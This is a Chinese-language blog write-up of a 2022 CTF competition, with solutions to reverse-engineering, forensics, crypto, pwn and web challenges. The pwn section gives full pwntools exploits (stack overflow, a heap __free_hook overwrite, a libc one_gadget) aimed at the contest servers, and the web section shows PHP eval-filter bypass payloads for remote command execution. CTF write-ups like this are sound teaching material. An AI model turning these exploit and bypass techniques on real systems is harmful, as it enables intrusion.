2022长安“战疫”网络安全卫士守护赛回顾 从从早上6点到晚上18点,除了去做核酸以外还没出过宿舍,(y1s1,中午快一点才把午餐送到,听说还闹了些不愉快的事情),先把题解写下,有的地方还需要日后补充(咕咕咕)
(持续更新中)
20221.1.13更新
四叶草还是给力,下面是复现靶场
https://www.yunyansec.com/#/experiment/expdetail/3
Reverse 别问为什么reverse的前三题和官网的一样(因为就是我出的),要是知道大佬们要来,题目难度肯定会再上一个档次
hello_py flag{He110_cazy}
pyc用网上的工具解密完以后,异或运算解决
题解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 flag=[44 , 100 , 3 , 50 , 106 , 90 , 5 , 102 , 10 , 112 ] j=0 for i in flag: if j%2 ==0 : flag[j]=flag[j]^flag[j+1 ] j+=1 else : flag[j]=flag[j]^j j+=1 for i in range (len (flag)): flag[i]=chr (flag[i]) flagstr='' flagstr='' .join(flag) print (flagstr)
cute_doge 普通的柴犬,戳一戳会发生什么奇妙的事情呢?
flag{Ch1na_yyds_cazy}
题解:
X64DBG动态调试,调试字符串,doge在被点第一下的时候会中断,中断过后会在X64DBG显示出flag
combat_slogan flag{We_w11l_f1ght_t0_end_t0_end_cazy}
题解:
.class字节码很容易反编译
rot13加密,配合ASCII码验证flag是否正确
lemon 小众语言,题解说是出自hitcon2021,但看着大佬用Python手写编译器是真的🐂
Misc 八卦迷宫 走迷宫,写拼音
1 cazy{zhanzhangyangzhangzhanyanghezhangshananzhanyizhanyianyizhanganyang}
西安加油 wireshark->导出
有一个secret.txt和hint.txt
hint.txt的内容是base32加密,解密结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 9403.png is 0 8086.png is 1 7301.png is 2 7422.png is 3 3978.png is 4 8266.png is 5 7683.png is 6 5410.png is 7 4365.png is 8 2426.png is 9 9056.png is 10 3205.png is 11 6361.png is 12 9167.png is 13 3195.png is 14 5852.png is 15 9280.png is 16 9702.png is 17 8424.png is 18 1675.png is 19 3014.png is 20 7986.png is 21 8432.png is 22 7139.png is 23 4655.png is 24 7258.png is 25 3565.png is 26 5444.png is 27 7384.png is 28 2003.png is 29 8688.png is 30 5956.png is 31 3509.png is 32 9027.png is 33 1905.png is 34 6085.png is 35 7406.png is 36 1650.png is 37 8602.png is 38 9377.png is 39 1323.png is 40 7321.png is 41 2747.png is 42 7125.png is 43 1220.png is 44 7079.png is 45 5172.png is 46 5070.png is 47
打开secret.txt,发现里面是base64编码
先base64解码完以后,解码出来的hex粘贴到Winhex文件里,发现是一个压缩包,压缩包加压后会得到一堆图片
按照hint的提示拼图即可
1 cazy{make_xiAn_great_Again}
朴实无华的取证 学校网不好,193M的Raw下了很久
用volatility取证
临时学习了一下
狼组安全_Volatility取证分析工具
发现kali的软件源里面已经没有volatility,去github下载了一个二进制的2.5版本
1 2 3 4 5 6 └─$ ./volatility filescan -f xp_sp3.raw --profile=WinXPSP2x86 | grep flag Volatility Foundation Volatility Framework 2.5 0x00000000017ad6a8 2 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.zip 0x00000000018efcb8 1 0 RW-rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\Recent\flag.lnk 0x0000000001b34f90 1 1 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.zip 0x0000000001e65028 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.png
把flag.png 给dump出来,最后解出来这张图,凯撒密码位移三位,但flag不在这里,最后也没做出来
1 2 3 4 8LDQ?ZL00? FHUWDLQ0B?VXFFHG?LQ?ILJKNLQJ?WKH?HSLGHPLF //错误的flag cazy{8IAN?WILL?CERTAINLY?SUCCED?IN?FIGHKING?THE?EPIDEMICMIC}
原因是少做了一步
1 volatility filescan -f xp_sp3.raw --profile=WinXPSP3x86 psscan
官方题解用的是这个,但是桌面中文不好打,其他队的题解是直接看Notepad
1 2 3 4 //官方 vol.py -f xp_sp3.raw --profile=WinXPSP3x86 filescan | grep "桌面" //大佬 volatility -f xp_sp3.raw --profile=WinXPSP3x86 notepad
密码是20211209
解压文件,根据flag.zip的算法还原字符串即可
差点就做出来了!!!有点气人
Ez_steg zip六位数字密码爆破
pyc字节码隐写
python 3.6以上用这个版本
1 https://github.com/c10udlnk/stegosaurus
没成功,不去尝试了
emoji-AES加密还是万万没想到的
1 https://aghorler.github.io/emoji-aes/
AES加密后的串Base64,然后mapping到了emoji
Binary 大佬们是怎么看出那是base64串
base64解出来后,01串大概率是二维码,用opencv解决即可
pipicc 学会jpg格式补齐了
(固定)八个字节89 50 4E 47 0D 0A 1A 0A为png的文件头
(固定)四个字节00 00 00 0D(即为十进制的13)代表数据块的长度为13
(固定)四个字节49 48 44 52(即为ASCII码的IHDR)是文件头数据块的标示(IDCH)
(可变)13位数据块(IHDR)
前四个字节代表该图片的宽
后四个字节代表该图片的高
后五个字节依次为: Bit depth、ColorType、Compression method、Filter method、Interlace method
(可变)剩余四字节为该png的CRC检验码,由从IDCH到IHDR的十七位字节进行crc计算得到。
最后IEND结尾
找到IHDR-IEND,提取到另外一个hex就会出现jpg图像
JPEG图片以“FF D8”开头,以“FF D9”结尾
???
我也不知道怎么回事,记住就完事了
Crypto no_cry_no_can 第一次做Crypto
题目长这样
1 2 3 4 5 6 7 8 9 10 11 12 13 from secret import flag,keyassert len (key) <= 5 //key限制5 位assert flag[:5 ] == b'cazy{' def can_encrypt (flag,key ): block_len = len (flag) // len (key) + 1 new_key = key * block_len return bytes ([i^j for i,j in zip (flag,new_key)]) c = can_encrypt(flag,key) print (c)
我们已知flag里面一定带有“cazy{”,那么Key必须得是5位,要正常实现zip操作new_key的长度要大于等于c(同时也大于flag)
原题是带有异或,基于异或运算的性质,只要把flag与答案异或,就能出现key
1 2 3 4 5 6 7 8 ans=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l' key=[95 , 17 , 50 , 255 , 97 ]*6 //key*6 是为了保证大于C temp=ans ee=list ([i^j for i,j in zip (temp,key)]) s="" for i in ee: s+=chr (i) print (s)
1 cazy{y3_1s_a_h4nds0me_b0y!)
no_math_no_cry 算法分析起来不难,但当时bytes_to_long看的有点懵
看题解以后才发现根本就不影响
Copy 一下Timeline Sec的题解
1 2 3 4 5 6 7 8 import gmpy2 from Crypto.Util.number import long_to_bytes c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169 x = gmpy2.iroot(c - 0x0338470, 2) m = (1 << 500) - x[0] print(long_to_bytes(m))
Pwn 感谢Giles 的支持,大家有机会去他的主页看看,
Pwn1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = remote("113.201.14.253" ,16088 ) elf = ELF("./pwn1" ) p.recvuntil("Gift:" ) buf = int (p.recvuntil("\n" ),16 ) payload = "" payload += p32(0x8048540 ) payload += "A" *48 payload += p64(buf+4 ) p.sendline(payload) p.interactive()
Pwn2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *local = 0 debug = 1 binary = "./pwn2" lib = "b/x86_64-linux-gnubc.so.6" elf = ELF(binary) context.log_level = "debug" if debug else "info" if local: p = process(binary) libc = ELF(lib) else : p = remote("113.201.14.253" ,16066 ) lib = ".bc-2.27.so" libc = ELF(lib) s = lambda buf : p.send(buf) sl = lambda buf : p.sendline(buf) sa = lambda delim, buf : p.sendafter(delim, buf) sal = lambda delim, buf : p.sendlineafter(delim, buf) sh = lambda : p.interactive() r = lambda n=None : p.recv(n) ru = lambda delim : p.recvuntil(delim) r7f = lambda : u64(p.recvuntil("\x7f" )[-6 :]+"\x00\x00" ) trs = lambda addr : libc.address+addr gadget = lambda ins : libc.search(asm(ins,arch="amd64" )).next () tohex = lambda buf : "" .join("\\x%02x" %ord (_) for _ in buf) def add (size,content ): sal("Choice: " ,"1" ) sal("size: " ,str (size)) sal("content: " ,content) def free (id ): sal("Choice: " ,"3" ) sal("idx: " ,str (id )) def edit (id ,content ): sal("Choice: " ,"2" ) sal("idx: " ,str (id )) sa("content: " ,content) def show (id ): sal("Choice: " ,"4" ) sal("idx: " ,str (id )) for _ in range (8 ): add(0x88 ,"A" *8 ) add(0x28 ,"B" *8 ) for _ in range (8 ): free(7 -_) add(0x18 ,"C" *7 ) edit(0 ,"C" *8 ) show(0 ) libc.address = r7f()-224 -0x10 - libc.sym["__malloc_hook" ] info("[+] libc base => 0x%x" %libc.address) add(0x68 ,"aaaa" ) add(0x18 ,"D" *8 ) add(0x18 ,"E" *8 ) add(0x18 ,"F" *8 ) add(0x18 ,"G" *8 ) free(2 ) add(0x18 ,"A" *0x18 +"\x41" ) free(3 ) free(5 ) free(4 ) add(0x38 ,"PPPPPP" ) payload = "A" *0x18 payload += p64(0x21 ) payload += p64(libc.sym["__free_hook" ]-8 ) payload += p64(0 ) edit(3 ,payload) add(0x18 ,"AAAAA" ) add(0x18 ,"/bin\x00" +p64(libc.sym["system" ])) free(5 ) sh()
Pwn3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p = remote("113.201.14.253" ,"16033" ) elf = ELF("./Gpwn3" ) libc = ELF("b/x86_64-linux-gnubc-2.23.so" ) p.sendlineafter("You choice:" ,"1" ) p.sendafter("Give me a character level :" ,"A" *(0x24 -1 )+"\x00" ) p.sendlineafter("You choice:" ,"2" ) p.sendafter("Give me another level :" ,"A" ) p.sendlineafter("You choice:" ,"2" ) p.sendafter("Give me another level :" ,"\xff" *8 ) p.sendlineafter("You choice:" ,"3" ) p.recvuntil("Here's your reward: " ) puts = int (p.recvuntil("\n" ),16 ) libc.address = puts - libc.sym["puts" ] p.sendafter(":" ,p64(libc.address+0x5f0040 +3848 )) p.sendafter("you!" ,p64(libc.address+0xf1247 )) p.interactive()
Web RCE_No_Para 学弟的答案没看懂,准备复现中
题解将其称之为无参数rce
网站输入进去会显示源代码
1 2 3 4 5 6 7 8 9 10 11 <?php if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['code' ])) { if (!preg_match ('/session|end|next|header|dir/i' ,$_GET ['code' ])){ eval ($_GET ['code' ]); }else { die ("Hacker!" ); } }else { show_source (__FILE__ ); } ?>
不太了解
目前只知道Payload是
1 ?code=system(array_rand(array_flip(current(get_defined_vars()))));&b=cat%09flag.php
下面是学弟的题解:
这段代码考察正则表达式
“[]”表示匹配的开始和结束,”^”表示取反,\W匹配非字母、数字、下划线等。等同于 [^A-Za-z0-9_],( 和)表示匹配括号,(?R)表示递归表达式本身,最后一个”?”表示匹配1个或者0个表达式本身。
所以这个正则表达式是要把对应形式的内容提取出来,然后通过preg_replace函数,用空字符串进行代替,得到一个字符串。这个字符串是完全等同于“;”的。
因为这个正则表达式的限制,所以我们在payload里使用的函数必须是无参的。
然后看另外一个if的内容
1 /session|end|next|header|dir/i
“ / “ 表示表达式的开头和结尾,结尾的i表示不区分大小写,用|分隔多种匹配情况
所以payload里不能含有session、end、next、header、dir
刚开始没注意第二个if所给的限制,只注意到了无参,所以以为只是简单的远程命令执行
最先想到的是session_id结合hex2bin函数
第一个payload:
1 eval("eval(hex2bin(session_id(session_start())));");
然后就报错了。。。
第二个payload:
利用get_defined_vars函数
1 eval(end(current(get_defined_vars())));
结果包含end又报错了。。。
最后的payload:
1 ?1551=system('tac flag.php');&code=eval(pos(pos(get_defined_vars())));
打入得到flag
、
Shiro? 他们说用log4j打
我自己的复现过程可以看这篇
Log4j2漏洞复现 | Mox的笔记库
总结 期待四叶草出的两道逆向题的题解,第一次做出密码学题目,还是有不少收获的
第一次知道wireshark可以导出http传输的文件,不然之前都是走binwalk大法
大佬题解传送门(真的强)
2021 长安“战疫”网络安全卫士守护赛 WriteUp
Timeline Sec的题解
ChamMd5的题解
四叶草官方题解